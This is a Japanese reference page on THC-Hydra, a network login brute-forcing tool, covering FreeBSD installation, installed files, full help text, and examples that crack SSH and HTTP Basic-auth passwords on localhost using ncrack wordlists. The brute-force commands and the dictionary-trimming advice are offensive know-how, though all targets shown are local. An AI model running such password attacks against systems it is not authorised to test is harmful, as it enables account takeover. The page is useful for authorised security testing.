hydra

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THC-Hydra は、多くのサービスをサポートした非常に高速なネットワークログインクラッカー(Network Login Cracker)です。ssh, http, ftp, imap などさまざまなプロトコルに対応しています。

読み方

hydra
ひゅどらー

概要

hydra という言葉は、ギリシャ神話ヒュドラで、９頭の大蛇です。

THC-Hydra は、多くのサービスをサポートした非常に高速なネットワークログインクラッカー(Network Login Cracker)です。

hydra は、以下の特徴があります。

  • IPv6 のサポート
  • GUI
  • 国際化(RFC4013)
  • HTTP プロキシのサポート
  • SOCKS プロキシのサポート

medusa や ncrack よりも特徴が豊富です。

サービスのカバレッジは

  • CVS
  • FTP
  • HTTP, HTTP フォーム, HTTP プロキシ,
  • ICQ
  • IRC
  • LDAP
  • MySQL , Oracle
  • POP3 , SMTP
  • ssh, telnet, rsh

など、多くのサービスをサポートしています。

インストール

FreeBSDにインストールする場合

pkgコマンドでインストールする場合 

sudo pkg install hydra
$ sudo pkg install hydra
Updating repository catalogue
The following 3 packages will be installed:
 
        Installing libssh: 0.6.1
        Installing cyrus-sasl: 2.1.26_7
        Installing hydra: 7.6
 
The installation will require 4 MB more space
 
792 KB to be downloaded
 
Proceed with installing packages [y/N]: y
libssh-0.6.1.txz                                 100%  198KB 198.0KB/s 198.0KB/s   00:01
cyrus-sasl-2.1.26_7.txz                          100%  463KB 231.5KB/s 443.0KB/s   00:02
hydra-7.6.txz                                    100%  131KB 131.0KB/s 131.0KB/s   00:00
Checking integrity... done
[1/3] Installing libssh-0.6.1... done
[2/3] Installing cyrus-sasl-2.1.26_7...*** Added group `cyrus' (id 60)
*** Added user `cyrus' (id 60)
 done
[3/3] Installing hydra-7.6... done
You can use sasldb2 for authentication, to add users use:
 
        saslpasswd2 -c username
 
If you want to enable SMTP AUTH with the system Sendmail, read
Sendmail.README
 
NOTE: This port has been compiled with a default pwcheck_method of
      auxprop.  If you want to authenticate your user by /etc/passwd,
      PAM or LDAP, install ports/security/cyrus-sasl2-saslauthd and
      set sasl_pwcheck_method to saslauthd after installing the
      Cyrus-IMAPd 2.X port.  You should also check the
      /usr/local/lib/sasl2/*.conf files for the correct
      pwcheck_method.
      If you want to use GSSAPI mechanism, install
      ports/security/cyrus-sasl2-gssapi.
      If you want to use LDAP auxprop plugin, install
      ports/security/cyrus-sasl2-ldapdb.

インストールされるファイル

FreeBSD にインストールされたファイルです。

hydra-7.6

$ pkg info -l hydra
hydra-7.6:
        /usr/local/bin/dpl4hydra.sh
        /usr/local/bin/hydra
        /usr/local/bin/hydra-wizard.sh
        /usr/local/bin/pw-inspector
        /usr/local/man/man1/hydra.1.gz
        /usr/local/man/man1/pw-inspector.1.gz
        /usr/local/share/licenses/hydra-7.6/AGPLv3
        /usr/local/share/licenses/hydra-7.6/LICENSE
        /usr/local/share/licenses/hydra-7.6/catalog.mk

hydra-7.4.2

% pkg_info -L hydra-7.4.2
Information for hydra-7.4.2:
 
Files:
/usr/local/bin/hydra
/usr/local/bin/pw-inspector
/usr/local/bin/dpl4hydra.sh
/usr/local/share/licenses/hydra-7.4.2/catalog.mk
/usr/local/share/licenses/hydra-7.4.2/LICENSE
/usr/local/share/licenses/hydra-7.4.2/GPLv3
/usr/local/man/man1/hydra.1.gz
/usr/local/man/man1/pw-inspector.1.gz

使い方

使用例 sshへのアタック

% hydra -l root -P pass.dict -e ns localhost ssh

使用例 HTTP Basic認証をクラックする

Basic認証が設定されているサイトをクラックする例です。ncrackの辞書を使用しています。 ユーザ名が空の場合です。 

$ hydra -l '' -P /usr/local/share/ncrack/top50000.pwd http://localhost/basic

実行例は、以下の通りです。 

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
 
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 01:13:40
[WARNING] The service http has been replaced with http-head and http-get,
using by default GET method. Same for https.
[DATA] 16 tasks, 1 server, 50084 login tries (l:1/p:50084), ~3130 tries per task
[DATA] attacking service http-get on port 80
[80][www] host: 127.0.0.1   login:    password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 01:14:13

ログインユーザ名test、パスワードがadminの場合の実行例です。 

$ hydra -l 'test' -P /usr/local/share/ncrack/top50000.pwd http://localhost/basic
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
 
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 01:15:59
[WARNING] The service http has been replaced with http-head and http-get,
using by default GET method. Same for https.
[DATA] 16 tasks, 1 server, 50084 login tries (l:1/p:50084), ~3130 tries per task
[DATA] attacking service http-get on port 80
[80][www] host: 127.0.0.1   login: test   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 01:16:05

ユーザ名とパスワードを両方ファイルで指定する場合の例です。 

$ hydra -L /usr/local/share/ncrack/default.usr \
-P /usr/local/share/ncrack/top50000.pwd http://localhost/basic

コマンドラインオプション

$ hydra -h
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
 
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
 
Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)
 
Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp
 
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: postgres sapr3 firebird afp ncp svn oracle mysql5.
 
Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080
       % export HYDRA_PROXY_AUTH=user:pass
 
Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
% hydra
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
 
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x
MIN:MAX:CHARSET] [-SuvV46] [server service
[OPT]]|[service://server[:PORT][/OPT]]
 
Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: cisco cisco-enable cvs
  ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy
  http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql
	mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp
	rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn
	teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules support additional input (-U for module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
 
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes.  Newest version available at http://www.thc.org/thc-hydra
The following services were not compiled in: postgres sapr3 firebird afp ncp oracle mysql5.
 
Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
% /usr/local/bin/pw-inspector
PW-Inspector v0.2 (c) 2005 by van Hauser / THC vh@thc.org [http://www.thc.org]
 
Syntax: /usr/local/bin/pw-inspector [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN]
[-c MINSETS] -l -u -n -p -s
 
Options:
  -i FILE    file to read passwords from (default: stdin)
  -o FILE    file to write valid passwords to (default: stdout)
  -m MINLEN  minimum length of a valid password
  -M MAXLEN  maximum length of a valid password
  -c MINSETS the minimum number of sets required (default: all given)
Sets:
  -l         lowcase characters (a,b,c,d, etc.)
  -u         upcase characters (A,B,C,D, etc.)
  -n         numbers (1,2,3,4, etc.)
  -p         printable characters (which are not -l/-n/-p, e.g. $,!,/,(,*, etc.)
  -s         special characters - all others not withint the sets above
 
PW-Inspector reads passwords in and prints those which meet the requirements.
The return code is the number of valid passwords found, 0 if none was found.
Use for security: check passwords, if 0 is returned, reject password choice.
Use for hacking: trim your dictionary file to the pw requirements of the target.
Usage only allowed for legal purposes.

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